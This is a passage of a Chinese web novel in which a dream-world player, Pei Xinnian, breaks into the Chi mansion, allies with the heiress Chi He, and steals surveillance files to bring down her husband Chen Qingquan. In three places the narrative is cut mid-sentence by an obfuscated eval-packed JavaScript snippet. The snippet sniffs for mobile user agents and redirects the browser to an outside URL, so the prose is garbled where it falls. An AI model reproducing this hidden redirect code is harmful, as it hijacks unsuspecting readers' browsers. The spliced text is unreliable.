“其实对你来说,不应该出面直接反抗,对吗?”裴心念听出他话中的挣扎,毕竟盛天还给他姐姐支付着医药费,闹翻了续不上,雪上加霜。 怪不得他一开始那么犹豫。 贺静远对盛天有敌意,但不是她这种,必须马上把它灭了的敌意。 “你居然愿意帮我。”这次换做是裴心念有些惊讶了。 对贺静远来说,其实多一事不如少一事,默默收集把柄就行了,何必给一个不认识的人看? “我也没有……”贺静远不敢看她的眼睛,“你要怎么办?” “别愧疚,你已经帮了我很多。” 裴心念很认真地在原地思考了一会儿。 桌子有点硬,硌得她不是很舒服。 “我再去找人。” 她一步跳下桌,贺静远慌忙接住她,防止她摔倒。 两个人在某一瞬间离得很近,贺静远愣了愣,熟悉感再次漫上心头。 “看看池家是不是真的和我丈夫合作愉快、亲密无间。” 他听见眼前神采飞扬的女孩如是说。 22.第三关(10) 裴心念在池家豪宅里迷路了。 虽然之前来过一次,但毕竟没有探索过,实在不知道该如何下脚。 她以探查当初车祸真相为名,连夜让辛浚把自己载到这里,然后绕了一圈,从最矮的围墙口翻了进去。 看这里的地形,宅子里的人应该也经常翻墙外出,才能让她这种体育苦手都畅通无阻。 裴心念若有所思地看着自己脚底下踏着的软椅。 比刚才在贺静远小店里她坐着的桌子还要软,这对吗? 她尽量轻声地猫着腰行走,一边走一边痛骂这个关卡的设置。 要不是害怕辛浚又这个时候死掉,她就等明天再来,光明正大地走正门了。 可现在时间紧迫,梦主的小命脆弱。 她沿着墙根移动,观察着这块后院的小草长势。 这里是一座打理得很漂亮的花园,但有一条被踩出来的小径。 从她跳下来的围墙,一直蜿蜒通到一栋小洋楼底下。 二层有间房亮着灯。 不会是这家里的某个主人吧? 裴心念暗自思量,双手握着已经取出来的水管,警惕着四周的环境。 有巡逻的守卫绕了过来,刚刚看见她,还没来得及发出任何声响。 她没有任何犹豫,甩起手就砸了过去。 “咚——” 对方应声倒地,没有任何反抗的机会。 蒋淮之给的道具还真好用啊。 她掂了掂手里的水管,把对方踹进了草丛里。 别的不说,这个身体的腿脚爆发力还可以,可能是踹陈清泉练出来的。 裴心念腹诽着,用水管往地上一撑,使劲往上够,跌跌撞撞地进了二楼的阳台。 池禾还没睡。 有作弊的修改器存在,裴心念很顺利地找到了她的房间。 她长长的影子在灯下看起来有点恐怖。 “啊——” 池禾根本来不及反抗,只能惊恐地看着裴心念,上次见面时高傲的姿态荡然无存。 “别说话,我没有要伤害你的意思。”她轻声道,毕竟这个周目的池大小姐还没见过她。 池禾盯着她手中的狰狞水管,老老实实闭上了嘴。 只不过整个人似乎正在往床头柜的方向靠,想在裴心念的眼皮底下搞小动作。 裴心念好笑地伸手把她往回拽了拽。 “小禾姐姐,不用这样吧。” 她笑得就像是纯良的乖学生,乍看上去没有什么坏心眼。 “你认识我?”池禾去按传呼机的动作被识破,只好尴尬地缩回手,坐直了身体。 “我没见过你,但是知道你。” “我是陈清泉的妻子,你应该还不知道我叫什么名字吧。” 裴心念小声为她解释,说出口的话却相当惊世骇俗。 “我要让陈清泉去死,你能帮我吗?” 说得这么直白,主要是她不想浪费时间试探池禾的态度。 如果她对陈清泉是友善的,那她就只好先回去给丈夫上眼药挑拨离间了。 “啊?”池禾眼中闪过错愕,不像演的。 然后裴心念就看着她在那里笑。 忍俊不禁,幸灾乐祸的程度。 有这么好笑吗? 裴心念都要以为这是池禾要引来下人的策略,准备上前捂住她的嘴,防止她笑出声来。 池禾终于止住了笑意:“陈清泉也有今天啊。” 她光着脚跳下床,拍了拍裴心念的肩膀,力气不小,差点把裴心念拍得栽倒下去。 “他是强抢民女,还是出轨了?”池禾把她拉着坐下,相当好奇。 她对盛天的私事不是很了解,作为池家明面上的继承人,对盛天这个庞然大物忌惮更多。 “都不是。” 裴心念可怜地吸了一口气,暂时没打算把所有的筹码都与对方交换。 “我和他有仇。” 只有这么一句模棱两可的解释,但足以让人侧目。 池禾也不催她,只是摊了摊手,表示自己不会尝试喊人过来。 “盛天资助的学校,流水资金,招标对象,都可以找到问题。” 裴心念垂下眼,“如果你感兴趣,我们随后可以交换手里有的东西。” “你就不怕我转头告诉陈清泉?”池禾终于放松下来,在柔弱的女孩面前找回了一点上周目的骄傲气场,开始咄咄逼问。 “我只有一条命而已。”裴心念嗫嚅着,“池小姐你拥有的更多,要顾虑的也更多。” 她抬眼看池禾,“而且,如果和陈清泉坦白,你觉得我们谁会被报复?” 其实应该是都会。 池禾琢磨着,根据她这几年上手公司事务的经验,盛天就是条咬死人不偿命的毒蛇。 和保守合作派的爷爷不同,她的看法是盛天与池家必然有恶战,无法通过让利来维持利益。 “什么时候和你交接?”池禾拢了拢自己的领口,突然感觉到有些冷。 “最快什么时候可以拿到完整的证据?”裴心念问。 “明天就行,他们的资金链有问题也不是一天两天,但这是常有的事,激不起火花。” “需要点火的话,我这里有导火索。”裴心念短促地笑了一声,把网吧的位置留给了池禾。 她当然没有给出贺静远的地盘,免得殃及池鱼,把人家的老巢都给端了。 至于贺静微的事,她也没有打算抖落出去。 毕竟是人家的苦处,她虽然爱看热闹,但也不至于要在别人伤口上撒盐。 还有更多被盛天影响的群众,她也没打算一家一家找过去,只需要打自己这一张牌就够了。 反正她只有孤身一人,当初的车祸也算得上猛料。 “你怎么回去?”池禾瞄了一眼她的手臂。 眼前的女孩虽然攥着唬人的武器,但只穿着单薄的背心和长裤,头发乱乱的,裸露出来的胳膊位置磨出了明显的血痕,估计是刚刚翻墙翻的。 “原路走啊。”裴心念没有说谎。 不过她其实来这里之前一直抱着今天就要重置周目的想法,完全是豁出去的状态,什么也没管。 但凡是可以用记忆带走的资料,都可以不计一切代价去找,她有自信带到下一周目。 “你能爬上来,不一定能跳下去。”池禾勾起唇角,这可是涉及到她的专业领域了,平时翻墙偷偷出去玩,她的装备绝不止一根水管。 于是裴心念就站在阳台上,看着大小姐拖出来的长长几节交错打结的床单,面露难色。 这是什么家居逃生用品? “你不相信我?”池禾挑眉,“那我先下去示范一下好了。” 她把床单的尾端系好,整个人灵巧地越过栏杆,小心翼翼地沉降下去。 裴心念现在非常确定那条小路的创作者是谁了。 只是偌大的池家,怎么这点安全隐患都没有发现。 她默默替池禾捏了把汗,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948112|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在后者平安落地,牵了牵垂在地上的尾端,似乎在邀请她下来。 裴心念重新装配了自己的水管,顺势下了楼,不走楼梯也不走电梯。 “去吧,我不会告诉任何人的。”池禾眨眨眼,“你想要什么别的东西吗?明天一起带过来。” 这位大小姐好像有点心太大了。 裴心念不知道说什么好,留下一句让她注意点安保,扭头就走。 “喂!”池禾小跑两步追了上来,压低声音对她说: “我明天给你带点外伤药,陈清泉怎么都不知道好好养妻子,废物。” 裴心念抬头,池禾简直和上周目的态度判若两人。 “对了,之前我可能因为陈清泉说过你的坏话,不知道你有没有听说,刚才宴会上的人可能会添油加醋。” 池禾连忙摆了摆手:“你可别误会,我主要是恨屋及乌。” “但你比他可爱多了,我还是跟你说一声,免得到时候有人挑拨离间。” 裴心念眯起眼,乖乖应是。 越过高墙,辛浚依然在那里等她。 这一周目顺利地过了午夜。 本来是一件很值得高兴的事情,但裴心念却在发愁。 那就是,回去该怎么面对陈清泉。 她大半夜出来见了这么多人,都是建立在下一秒就挂掉的基础上,从没想过居然能顺利回去。 对方会对她的彻夜不归作何感想呢? 裴心念看了看辛浚的红发。 他可以帮忙挡挡吗? “我要去你的房间。” 机车刚刚停稳,裴心念缠着他的腰,闷声道。 辛浚不相信自己听到的话,重新问了她一遍:“你说什么?” 裴心念掐了一把他,重复:“我要去你房间。” “你不回去……” “你怕陈清泉?”他反应过来,“他平时到底怎么对你的?” 裴心念没想到他会这么问,这是今天第二个觉得陈清泉对她不好的人了。 上一个是池禾。 “他可能会打我。”裴心念可怜兮兮,把主语和宾语换了个位置,开始造谣。 辛浚深吸一口气,把她从机车上抱下来,动作也没有之前的不情愿了,简直是服服帖帖,生怕她的腿磕碰到哪里。 “果然在这里也是败类。” 他小声自言自语,这下都不需要修改器解析他的心声,裴心念就能听见他在说自己哥哥坏话。 她缩在辛浚怀里溜进了陈家家门。 好在辛浚和她的体型还是有一定差距的,她这次的衣着又不同往常,躲在他的掩护下非常容易。 “你睡哪里啊?”裴心念小声问。 其实她是真不知道,但辛浚为这点小事有些气恼。 “住了这么久,连我的房间都不知道?” 辛浚皱眉,不像是怀疑她身份的样子,而是单纯的负气。 “我平时在宅子里有点恍惚……”裴心念已经基本摸透他的脾气了,虽然不礼貌,但卖惨一般情况下都会有用。 “啧。”辛浚揽住她的肩膀,把人几乎悬空着提溜回了房。 他和陈清泉两人所住的主卧距离很远。 “要不是你来了,我还省得去搬房间。” “你搬了?”裴心念对此一无所知。 “从隔了一楼,搬到恨不得隔着整栋楼。”辛浚哼了一声,本来这是陈清泉防着他的手段,现在倒好,方便他绕过正主带着她回屋。 23.第三关(11) 辛浚单手开了房门,把裴心念放在床垫上。 她忍不住到处打量。 他的房间以重金属为主题,颜色暗沉,间杂着一些饱和度极高的幽绿色。 住了个机车少年,倒也合理。 裴心念拍了拍身下的床垫,觉得有点不太舒服。 只比贺静远那张桌子好了一点点,他平时睡觉难道都不难受吗? 辛浚正在收拾床边的毯子,埋头苦干,手上动作飞快,似乎怕她看出哪里太乱。 “我刚从外面回来诶,刚刚还爬了两楼外墙,你不怕床脏了?” 裴心念很是好奇地问他,不会真的连生活习惯都这么街头吧。 “那张床就是让你坐的。”辛浚有些犹豫,准备掀起上衣的手蠢蠢欲动,最终还是没有下一步的动作。 “什么?” “睡的床在另一边。”辛浚躲进淋浴间,“我先帮你试试水温。” 还有另一边呢? 裴心念的视线因为过于暗黑的装修受阻,只能看见一个模糊的通道,她以为那里最多只是一个储物的小空间。 居然还能有一张床,那应该很大。 哎,还是她不懂有钱人了。 裴心念放心地仰躺下去,今天一整天的奔波劳累让她过度兴奋,现在才能稍稍歇息。 辛浚的房间装得这么黑,真的很适合睡觉。 裴心念眼睛一闭,就懒得再起来,把自己沉进黑暗中,听见辛浚的声音也不想回答。 “喂?”调好水温的人从里面出来,看见的就是缩成一团沉沉睡去的女孩。 她身上的衣着倒是和这里的整体氛围很相配,连工装裤子都能和他的墙纸配套,只有白色上衣和肌肤的颜色是亮的。 “睡着了?” 辛浚嘟囔着俯下身,凑近。 床上有一些亮晶晶的亮片沾上了她的眼睑,辛浚借着淋浴间投射的光看见,很轻地点了一下软软的皮肤,把亮片带了下来。 “这么累,塞塔梦境为什么不给你放个假。” 简直是天方夜谭,NPC怎么会有假期呢。 裴心念隐隐约约听到一些,默默回击,但在现实中,她只回了沉默。 好像有谁又捏了捏她的两腮肉,动作很轻,痒痒的。 “到底要不要洗澡啊大小姐。”辛浚在她旁边手足无措,第一次不想打扰梦境里的人物。 “吵死了。”裴心念翻了个身,背对着他。 辛浚把她翻过来,一瞬间额头对着额头,呼吸相闻。 他没料到是这么一个姿势,整个人咋咋呼呼地弹起来,倒是自己跌落了下去,碰到了一边的落地衣架。 “当啷”一声,不算大也不算小。 只是有人路过门口,听见声音,敲了两下门。 裴心念揉着眼睛被吵醒,半坐起来,看见摔在地上的辛浚拼命对她打手势。 “别说话”,大概是这样吧? 她知道在这么昏暗的情况下基本看不清表情,于是也卖力地使用起肢体语言来,重重地点了好几下头。 两人就这样用极其滑稽的姿势你看着我、我看着你,都屏着一口气。 门口的脚步声离开了。 裴心念跳下床,想把辛浚拉起来。 但她太过高估自己的身体素质,睡着太久,腿是会麻的。 刚撑着地面要自己站起来的辛浚,又被她砸了回去。 他有些吃痛,眉头才皱起来一半,就被一双手掐住了喉咙。 裴心念不许他喊。 辛浚不知道是被气的还是被掐的,满脸通红,热度一直烧到脖颈,烧到锁骨。 他环住身上人的腰,咬牙挺身把两个人都带了起来。 “你先进去。”辛浚龇牙咧嘴,没有给她好脸色,但是替裴心念开好了灯光和水流。 “我换什么啊?”裴心念看了一眼自己掐出来的红痕,憋着笑往后退。 “先穿我的短袖和外套行吗?” “哦。” 裴心念鬼鬼祟祟地完成了淋浴,期间房间门口的脚步似有若无,她的翻盖手机震动了很多次,都是陈清泉打来的电话。 裴心念拧着毛巾,看着小小的屏幕上自己的备注,心思倒是活跃起来。 陈清泉在找她。 如果他在家里找不到,岂不是就出门了? 她在办公室里没有找到的文件,或许可以在他的卧室或者书房里发现。 说干就干,门外的辛浚还没来得及使用他自己的淋浴间,就被裴心念推着出门执行任务了。 “你快帮我看看你哥在不在,我要偷偷溜回去。” 她说得理直气壮,仿佛辛浚就是天生要给她开路的一样。 本该如此,毕竟是为她而来的攻略者。 “你要去干什么?” “我刚才没换贴身衣服,之前好像有掉在书房的,我去找找。” 辛浚的表情变得相当精彩。 “快点嘛快点嘛,我不想让他先找到。” “……好吧。” 裴心念蹑手蹑脚地进了陈清泉的书房。 这里布置得相当奇怪,和他弟弟的装修风格各有各的特殊。 居然是摆满了屏幕的中控室? 裴心念想起他拿着电梯中控开关冲过来的样子,感慨梦境里的陈清泉居然比现实可能更懂一些科技。 虽然要落后个几百年吧。 她四处摸了摸,没有发现什么暗格或者暗室,干脆坐在书桌的椅子前,专心地研究起怎么开机。 设了密码。 现在这种时代,不仅没有人脸解锁、没有指纹解锁,估计连大小写和字符的要求都没有。 那么,一般来说都会是数字的组合吧。 裴心念歪了歪脑袋,完蛋,她不知道boss的生日。 这也很正常,又不是多熟悉的人。 要是郁向晚的生日,她倒还记得。 她随便输入了一个自己的生日进去,没有反应。 “会不会是不带年份的?” 只有四个数字也太不安全了吧。 事实证明,陈清泉的防备就是如此薄弱。 所有设备的密码都是她生日的月份加上日期。 不知道的还以为这里是她的书房呢。 裴心念啧啧称奇,把书房里所有的计算器都打开来。 好在开机之后,屏幕上显示的并不是陈家老宅的监控,而是正常的计算机界面。 分屏办公,需要这么夸张吗? 裴心念没有直接使用图形操作界面,而是尝试让修改器直接破译检索加密文件。 这种时候修改器就好用得很,因为最原初的计算机语言消耗的算力几乎可以忽略不计,可谓是老乡见老乡,完全舒适区。 裴心念趁着这时间,视察了一圈书房的其他摆件。 有几张她和陈清泉的合影,其他的都是些装帧精美的书籍,还有一些字画之类的东西。 但是很可惜,这些装饰在满屋的计算器衬托之下,都是背景板。 所有人刚进门都会先被吓一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955161|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳的,谁还有心思去欣赏陈清泉的闲情逸致? 现在的裴心念有。 她伸手挑开一本临帖,它挡住了很多张宣纸,上边有字体稍小些的字迹。 在抄什么经文。 她回想了一遍目前为止找到的陈清泉做过的破事,不禁觉得这位是在用满减羊毛凑巨额高利贷的零头。 手底下连学校的建造都能偷工减料,砸晕学生;疑似家族内斗牵连无辜生命;还不知道犯了多少桩经济罪。 造孽啊造孽。 裴心念摇摇头,希望这位少爷在现实生活中不要让她去善后这些烂摊子。 她可不是学星际法的。 (叮。已检测并拷贝所有加密文件,包括已删除的占位符。) (目前需要实体存储工具,用以实现在塞塔梦境中的复现。) 裴心念眨眨眼,先在一旁的柜子里找了找,拿到一个古早的硬盘。 “这个行吗?” (正在转写中。) “我能先看一眼吗?”裴心念等得心焦,她总是怀疑门外有人经过,虽然辛浚在放风,但她还是不放心。 (已调取。) 裴心念一边紧张着,一边在整个书房的各个大屏上,同时看到了颇为震撼的内容。 这些片段才是真正意义上的“监控”。 右上角有具体的时间信息,距离现在已有四年左右。 第一个画面似乎是某个公司项目的开张庆祝。 礼炮放到一半,斜刺里冲出一队人,拿着刀棍上来就又打又砸。 监控听不见声音,但场面实在过度混乱。 裴心念暂停了仔细瞧,凭借这次梦境里5.0的视力,也只能勉强看出领头的人脸上有道疤。 接下来是很多类似的片段,场面的暴力程度不一,但能看出来是同一伙人做出来的。 陈清泉跟这群人是什么关系呢? 多半是他们的幕后黑手吧。 裴心念沉默着等待修改器将所有加密文件留存下来,揣起那块硬盘就往外跑。 她得再联系池禾一次,快点去网吧和池禾碰面,现在这个时间段,通宵的网吧也还没关。 希望能加快进度。 裴心念关上书房的门,果然看见辛浚在转角处站着,尽职尽责。 她过去拍了一下对方,结果辛浚还不太好意思,别过头去不看她。 “你的东西拿出来了没有?” “嗯。”裴心念点头,“我要睡觉,你可以休息了。” 辛浚眼巴巴地回望她。 “想要奖励啊?” 裴心念扫了一眼红发的少年,他陪着她折腾了大半个晚上,倒是确实没有功劳也有苦劳。 “你别再去书房找他就行——”辛浚努力憋出这一句,结果最后一个字被轻飘飘的接触止住了。 软软的触感拂过他的唇边。 他好像有点晕晕的。 裴心念弹了一下对方的额头,实在是有点恨铁不成钢。 这个人记不记得自己的任务是攻略她啊? 感觉只知道和她待在一起,就把这当作是攻略了吧。 “你快回去。”她推了一把还呆愣愣的辛浚。 很快她就后悔了,不该就这么放过一个可以挡在身前的肉盾的。 裴心念往家门口奔去的路上,突然被扼住了咽喉。 不是陈清泉,他不会用这么大的力道对她。 裴心念使劲扭转自己的脖子,想要往后看,只能用余光看到一道眼熟的疤痕。 24.第三关(12) 监控里出现多次的打手头目,脸上也有这么一道疤。 “放开!” 仗着自己是这个家的女主人,裴心念摆出架势,怒目而视。 “你看见了什么?”身后的人果然松开了裴心念的咽喉。 她得以转身,确认自己的猜想。 这是一张相当恐怖的脸,半边有一条从眉骨蜿蜒到下颌的伤疤,另外半边有轻微的烧伤痕迹。 “什么?”裴心念装傻。 毕竟正常人哪里能从书房里拿到那些监控呢。 “我要出去走走!清泉就是这么吩咐你看家的?” 裴心念眉头一拧,学着宴会上池禾的模样,只用鼻孔看人。 “夫人,陈总说过,你不能进书房。” “怎么了,你哪只眼睛看到我进去了?” 裴心念心说还好辛浚也是个不明所以的玩家,否则刚才那一步她就得露馅。 “陈总告诉阿武,您可能从这里过。” 阿武面无表情,就像个执行任务的傀儡,话里话外的意思却让裴心念冷汗直流。 那间房里没有监控,可是外面就不一定了。 “您到底知道了什么?”阿武没有让步,咄咄逼人。 裴心念定了定神,在心中估算自己用水管是否能单杀他。 面对这么一个常年做脏活,任务都是□□的凶恶之徒。 概率有点低啊。 “当初的那场车祸,是不是你们动的手脚?” 裴心念疾言厉色,把对任务满腔的不满都化作了泣血一般的控诉。 先抛出一部分连辛浚都知道的“隐情”试试看。 “不是陈总动的手。”意料之外,阿武居然眼都不眨,否认了这桩罪。 “陈二叔有其他仇人,还没查出来,请夫人不要因此记恨陈总。” “什么叫其他仇人,你一听到车祸就想到陈二叔的事,这不是最好的证明吗?” 裴心念冷笑一声。 当初在贺静远处,她认为旧城路车祸一事没有完整的证据链。 这事只能用作情绪爆发的导火索,比如拉拢同仇敌忾的盟友。 如此推定,最重要原因的是,陈清泉只有动机而没有完整的作案证据。 就连刚才存放了那么多内容的监控中,都没有和当初车祸相关的画面。 只有一段疑似是给车门做手脚的录像,但没有车牌,也没有其他任何信息。 况且,那枚杀死司机的子弹从何而来,暂时无法确定。 裴心念想到一周目射向辛浚的那发子弹,它也是来历不明。 “您不能这么说。”阿武争不过她,只能在原地重复自己的观点。 “那你放不放我走?”裴心念昂起头,她已经解释了自己的动机,对方错失了质问的先机。 “您等陈总回来再——” 回应他的是裴心念的一水管。 阿武应声倒地,她看得都愣了。 裴心念抬起自己的手掌看了又看,真的这么有劲吗? 地上蜿蜒流淌而出的血迹否认了这个荒唐的猜想。 他并非死于水管这种钝器的击打。 (警告,塞塔梦境进入强烈波动中,是否选择强行脱离?) 裴心念咬牙,藏进转角的廊柱之后,警觉地观察四周。 辛浚距离这里比较远,他来不及赶到。 按照阿武倒地的方向和血流的速度…… 刚才她的水管撞击声是否和枪声重叠了?! “主人,动作真快啊。” 远处传来既清晰又模糊的声音,她扭头看去,走廊的暖灯都变成了苍白色,光线所到之处出现了强烈的色散,正是空间扭曲的征兆。 “又被你躲过去了。” 说话者的身影正在消散,看不真切。 裴心念没有再犹豫,在修改器报告波动平稳后,一口气夺门而出。 这次她顺利来到了陈宅外面,不再有人拦着她。 或许能拦她的人都被那个诡异的生物灭掉了。 她能感觉到自己的心脏在胸膛里跳得重如擂鼓,但越是极度恐怖的场景,她反而越冷静。 “关键节点。” 她轻声呼唤修改器。 “那个消失的东西,就是一周目杀死辛浚的元凶。” (本次梦境关卡解析进度:90%,关键节点1/1。) 短暂的沉默之后,修改器赞同了她的猜想。 或许与旧城路司机的死因也有解不开的干系。 祂要杀她,弄死所有和裴心念有血缘关系的人? 如果方才裴心念没有率先拿出水管挥向阿武,瞬间改变了两人之间的站位,恐怕现在她就要被强制退出梦境了。 两次都被她躲过去,难道是因为这个才叫她主人吗? 裴心念顺了顺气,刚刚和死神擦肩而过的刺激让她的动作更快了。 她拨通几个小时前池禾留下的联系方式,径直前往车库,骑上辛浚的机车就走。 辛浚并没有把钥匙拔下来,这下她成了那个炸街的叛逆少年。 从街上疾驰而过时,裴心念庆幸这机车改装得还挺文明,分贝不至于到凌晨扰民的程度。 —— 数十份暴力犯罪的监控录像,这是裴心念给出去的。 K市某局长不合常理的流水,这是池禾匆忙带来的诚意。 “没定论之前,不要把涉及学生的信息披露出来。”裴心念提醒。 如果池禾真去查的话,不知道会有多少个类似贺静微的孩子受到过意外伤害。 “你怎么办?” 池禾点头同意了她的要求,奇道:“妻子大半夜在外面跑,陈清泉完全不管的吗?” “他想管也管不着啊。”裴心念无辜道,这会儿她有空喘口气,明显带了笑意。 “不过他今晚在找我。你能给我找个安全的地方呆吗?” 裴心念转了转眼珠,“顺便带上我那个不太省心的弟弟。” 辛浚不能死,他一死这局就重置了,白忙活一场。 她对这盘已经下到结尾的棋不是很感兴趣了,只是认为亲自看到最后一子落下为妙。 “可以,我在C市有几套安全屋,你自己选着住吧。”池禾答应得倒是爽快。 哇,有钱人对自己好好哦。 裴心念抿唇笑起来,随即把旧手机的翻盖打开,拨打辛浚的电话。 屏幕上的备注是【红色小人鱼】。 如她所料,陈清泉对辛浚这个便宜弟弟完全不在意。 裴心念出门超过十二小时,整个盛天都发动出来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962839|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人;反观辛浚呢,离开家没有任何阻碍。 哦,他家里的车库里不止一辆机车,这也是顺利逃逸的关键之一。 裴心念已经打算下周目自己也入手代步工具了,如果有这个条件的话。 C市。 裴心念和辛浚窝在沙发上,在明明灭灭的电视光照下啃薯片。 这一年的薯片还没有原切工艺,太厚了,外皮包裹着糊嘴的淀粉。 裴心念吃了两口就不乐意继续品尝下去,把剩下的包装袋全部塞到辛浚怀里。 “不吃了?”辛浚接过她传递过来的食物,认真地嚼了起来。 他在现实世界中根本就不会看一眼的垃圾食品,都在梦境世界里吃了个够。 “你就这么跑了,不怕陈清泉找你算账?” 辛浚努力把目光转移到电视屏幕上,只在不经意间瞥一眼身旁的人。 裴心念正在小小地打哈欠。 她已经有点困了,现在是硬撑着,等。 等着看池禾的动作究竟有多快。 “他杀了我家人,总有一天也能对我动手。” 裴心念实在是太累了,累得脸色淡漠,面无表情地看着本地新闻的频道。 她没有选择把阿武最后的坦白和那个神秘人的出现告诉任何人,而是和所有人都统一口径,她就是因为当初的车祸而对陈清泉怀恨在心。 这样解释起来成本低,也没有被怀疑真实身份的危险。 不过稍有一些卖惨的嫌疑…… 因为她已经在贺静远眼中看到过的同情,这一次也在辛浚这里看见了。 其实她并不需要。 不过难得见这个叛逆的家伙这幅面孔。 “怎么了?”裴心念抬眼望向他。 “要不要带你出去兜风?”在辛浚看来,裴心念就是被他哥哥害得太惨了,即使是关卡女主,也不该被这样对待。 可是他想出来的安慰方式不是很合时宜呢。 裴心念想到辛浚的任务,知道他又是在拙劣地尝试攻略。 “我没事,再等一会儿。” 裴心念眨眨眼,“我困了,你过来一点。” 辛浚照做,只是别扭地不看她。 裴心念把脑袋的重量放在对方的肩膀上,偷懒闭上眼睛。 “有消息就喊我。” 辛浚同意了,胸腔发出闷闷的共鸣。 他的怀抱在空调房里相当暖和。 这间安全屋的客厅并没有开灯,一切光源都来自于电视屏幕。 靠在他身上的女孩因此睡得很香,像在他房间里一样,完全是拆了电池直接关机。 他忍不住伸手探了探裴心念的呼吸。 她的呼吸很轻,但能听出来在深深地吸气呼气。 听着很安心,像是煮大米饭的某个瞬间。 软乎乎的,让他恍惚了半晌。 裴心念闭目养神,本来休息得好好地,突然被修改器的播报吵醒。 (本次梦境关卡解析进度95%……96%……) 好像有人靠得太近了。 裴心念砸砸嘴,没睁开眼睛。 她知道是梦主的动作,但是这和她的目的没有什么关系。 陈清泉什么时候能倒台啊! 半梦半醒的裴心念如是想到。 25.第三关(终) “本市知名企业涉嫌经济犯罪,目前已将主要嫌疑人控制,等待传讯……” 裴心念睁开眼的前一刻,身旁的人触电一样弹开了。 她很是不满地揉了揉脖子,差点没一头扑倒在沙发上。 “你要看的盛天——”辛浚又慌慌张张凑过来,怕她真的磕着了。 裴心念的眼神已经略过了他,在面对电视屏幕的同时适应着强光。 辛浚捂住胸口,莫名有些失望。 可惜具体有什么心声,只能留给他自己听了。 裴心念盯着画面中那个没有面容的身影,知道一切已经尘埃落定。 可是陈清泉为什么还在这里? 修改器也没提示她有意识体脱离。 这样的社会性死亡程度对他来说还不够吗? 还可以再翻盘,所以不行? 她怀着这样的疑惑,重新回到了K市。 池禾是亲自来接她的,整个人容光焕发,看见裴心念就笑容满面。 “你可真行,那些东西居然能一环扣一环形成逻辑链,我们想了多少年都没有实质性的进展。” 她对裴心念赞不绝口,要不是因为交易的隐秘性,池禾能直接给她在办一场庆功宴,阵势不会比她之前的生日宴小。 “只不过是接触的机会多一些而已。” 裴心念安安静静地听完恭维,很受宠若惊的样子。 实际上她本人已经魂飞天外了。 还要做什么才能把陈清泉的意识体捞出去? 明明该做的都做了啊。 “诶,你有没有兴趣来池家?如果不想太张扬,暂时当我助理也可以啊。” 池禾摇了摇她的肩膀,全然不顾旁边辛浚这个盛天直系继承人的看法。 毕竟能在哥哥被通缉的时候,巴巴地跟着嫂嫂,心思昭然若揭。 “我暂时需要休息一阵。”裴心念深吸一口气,抱歉道,“你能不能帮我安排一次去看守所见见他?” “你……”这倒是在池禾意料之外。 “我还需要和他再说点话。”裴心念垂下眼,让人看不出情绪。 池禾止住了招揽她的话头,若有所思地瞄了一眼旁边站着的辛浚。 看来他还不是很得宠呢。 “可以是可以,你们接下来先住我这里吧,方便接送。” 裴心念点头。 还有一天才是最早的看望日期,她出门去了一趟医院。 贺静远请她去看看姐姐。 贺静微前几日的病情有所好转,听弟弟讲了她的事,说什么也要亲自感谢她。 裴心念本来躺在床上犯懒,但想想贺静远优越的眉眼,还是想去亲眼见见他姐姐会有多漂亮。 ——说不定下次在其他梦境能直接遇到贺静微呢。 多点熟悉的面孔,也有利于她快速闯关不是。 要不是因为第一关见过贺静远,她不会如此信任一个刚见面的人。 事实证明,贺静远对她的信任也远超一般的萍水相逢。 到了医院楼下,贺静远已经在那里等着她,双手捧着一束鲜花,相当拘谨的模样。 “在这里等谁呢?”裴心念笑眯眯地凑上去,挑眉问他,偏偏不接他的花。 废话,这个人手里的花束只往前平移了一厘米吧,谁能看出来是给她的呀? 裴心念相当自然地逗起人来,甚至双手环抱在身前,大有油盐不入的架势。 “等你,你的。”贺静远压低声音,还是把话说全了。 “谢谢哦。”裴心念心情不错,让他继续捧着给自己的礼物,两人一同去找病房。 贺静远在她身旁急得团团转,原因无它,姐姐给裴心念的礼物还在病房里,这束花是他之前被忽悠着买的,等下过去姐姐肯定要笑他。 “小远,这是念念吗?” 贺静微在病床上坐着,只能看见进门的裴心念,本来很大只的弟弟反而低着头走在女孩身后。 “静微姐姐好。”裴心念把身后的贺静远揪过来,接过他攥了一路的花,“刚才他买的,我看放在屋里好像也不错诶。” 她对贺静远眨眨眼,好像在询问他对这样处理有没有意见:“可以吗?” 对方忙不迭地点头。 “小远跟我讲了之前你的事,这是当时的礼服,我把破损的地方缝补了,如果不嫌弃,可以带回去。” “当然不嫌弃。” 裴心念看着那条摊在纯白床单上的深蓝色礼服。 整体颜色是浓郁到令人晕眩的靛青,肩带的设计也很独特,有一条银色刺绣纹线,简直浑然天成。 